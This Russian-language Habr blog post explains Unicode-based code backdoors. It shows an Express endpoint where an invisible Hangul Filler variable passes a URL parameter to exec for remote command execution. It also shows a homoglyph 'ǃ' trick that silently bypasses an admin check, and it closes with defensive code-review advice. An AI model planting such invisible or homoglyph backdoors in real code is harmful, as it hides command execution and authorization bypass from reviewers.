habrahabr

Невидимый Javascript-бэкдор

  • четверг, 31 марта 2022 г. в 00:39:17
https://habr.com/ru/company/beeline/blog/658197/
  • Блог компании билайн бизнес
  • Информационная безопасность
  • JavaScript



Несколько месяцев назад мы увидели пост в сабреддите r/programminghorror: один разработчик рассказал о своих мучениях с поиском синтаксической ошибки, вызванной невидимым символом Unicode, скрывавшемся в исходном коде на JavaScript. Этот пост вдохновил нас на мысль: что если бэкдор в буквальном смысле нельзя было бы увидеть и таким образом он бы избежал тщательных проверок кода?

Как раз когда мы завершали написание этого поста, команда из Кембриджского университета опубликовала статью с описанием такой атаки. Однако её подход сильно отличается от нашего — в нём упор делается на механизм двойного направления текста в Unicode (Bidi). Мы реализовали подход, который в статье называется Invisible Character Attacks и Homoglyph Attacks.

Без лишних предисловий перейдём к бэкдору. Сможете его найти?

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

Скрипт реализует очень простую конечную точку HTTP проверки состояния сети, выполняющую ping -c 1 google.com, а также curl -s http://example.com и возвращающую результат выполнения этих команд. Дополнительный параметр HTTP timeout ограничивает время выполнения команды.

Бэкдор


Наш подход к созданию бэкдора заключался в том, чтобы в первую очередь найти невидимый символ Unicode, который можно интерпретировать как идентификатор/переменную в JavaScript. Начиная с ECMAScript версии 2015, все символы Unicode с Unicode-свойством ID_Start можно использовать как идентификаторы (символы со свойством ID_Continue можно использовать после первого символа).

Символ “ㅤ” (0x3164 в шестнадцатеричном виде) называется “HANGUL FILLER” («заполнитель хангыля») и принадлежит к Unicode-категории “Letter, other”. Так как этот символ считается буквой, он имеет свойство ID_Start, а значит, может встречаться в переменной JavaScript — идеально!

Далее нам нужно было найти способ незаметного использования этого невидимого символа. Ниже показан выбранный нами подход, в котором соответствующий символ заменён его escape-последовательностью:

    const { timeout,\u3164} = req.query;

Деструктурирующее присваивание применяется для деконструирования параметров HTTP из req.query. В противоположность тому, что мы видим, параметр timeout является не единственным параметром, извлечённым из атрибута req.query! Из него извлекается дополнительная переменная/параметр HTTP с именем “ㅤ” — если передаётся параметр HTTP с именем “ㅤ”, то он присваивается невидимой переменной .

Аналогично, при конструировании массива checkCommands эта переменная включается в массив:

    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',\u3164
    ];

Затем каждый элемент массива, жёстко заданные команды, а также переданный пользователем параметр, передаются функции exec. Эта функция исполняет команды ОС. Чтобы атакующий мог исполнять произвольные команды ОС, ему нужно передать конечной точке параметр с именем “ㅤ” (в URL-кодировке):

http://host:8080/network_health?%E3%85%A4=<any command>

Этот трюк нельзя выявить подсвечиванием синтаксиса, поскольку невидимые символы никак не отображаются, а следовательно, не раскрашиваются в IDE/текстовом редакторе:


Для атаки требуется, чтобы IDE/текстовый редактор (и выбранный шрифт) правильно рендерили невидимые символы. Как минимум Notepad++ и VS Code рендерят их правильно (в VS Code невидимый символ немного шире символов ASCII). Скрипт ведёт себя так, как это описано выше, по крайней мере, с Node 14.

Решения с омоглифами


Кроме невидимых символов бэкдоры можно внедрять и с помощью символов Unicode, очень похожих, например, на операторы:

const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */
const environment = 'PRODUCTION';
/* … */
function isUserAdmin(user) {
    if(environmentǃ=ENV_PROD){
        // bypass authZ checks in DEV
        return true;
    }

    /* … */
    return false;
}

Символ “ǃ” — это не восклицательный знак, а символ ALVEOLAR CLICK. Следовательно, показанная ниже строка не сравнивает переменную environment со строкой "PRODUCTION", а вместо этого присваивает строку "PRODUCTION" ранее незаданной переменной environmentǃ:

    if(environmentǃ=ENV_PROD){

Таким образом, выражение в условном операторе всегда равно true (протестировано на Node 14).

Существует множество других символов, которые похожи на используемые в коде и которые можно применять в подобных целях (например, “/”, “−”, “+”, “⩵”, “❨”, “⫽”, “꓿”, “∗”). В Unicode такие символы называются “confusables” («вызывающими путаницу»).

Вывод


Стоит заметить, что использование Unicode для сокрытия уязвимого или зловредного кода не является новой идеей ([1], [2], [3], [4]) (как и использование невидимых символов), а сам Unicode открывает дополнительные возможности по обфускации кода. Однако нам кажется, что эти трюки довольно любопытны, поэтому мы решили ими поделиться.

При анализе кода неизвестных или ненадёжных контрибьюторов нужно помнить о Unicode. Это особенно интересно для проектов open source, потому что контрибьюторами в них, по сути, могут быть анонимные разработчики.

Кембриджская команда предложила ограничить использование Bidi-символов Unicode. Как мы продемонстрировали, омоглифные атаки и невидимые символы тоже могут представлять угрозу. По нашему опыту, символы не из таблицы ASCII встречаются в коде достаточно редко. Многие команды разработчиков предпочитают использовать в качестве основного языка разработки английский (и для кода, и для строк в коде), чтобы обеспечить возможность международного сотрудничества (в ASCII есть все или почти все символы, используемые в английском языке). Перевод на другие языки обычно выполняется при помощи специальных файлов. При анализе кода на немецком языке мы чаще всего видим, что символы не из таблицы ASCII заменены ASCII-символами (например, ä → ae, ß → ss). Поэтому, неплохой идеей будет полный запрет символов не из таблицы ASCII.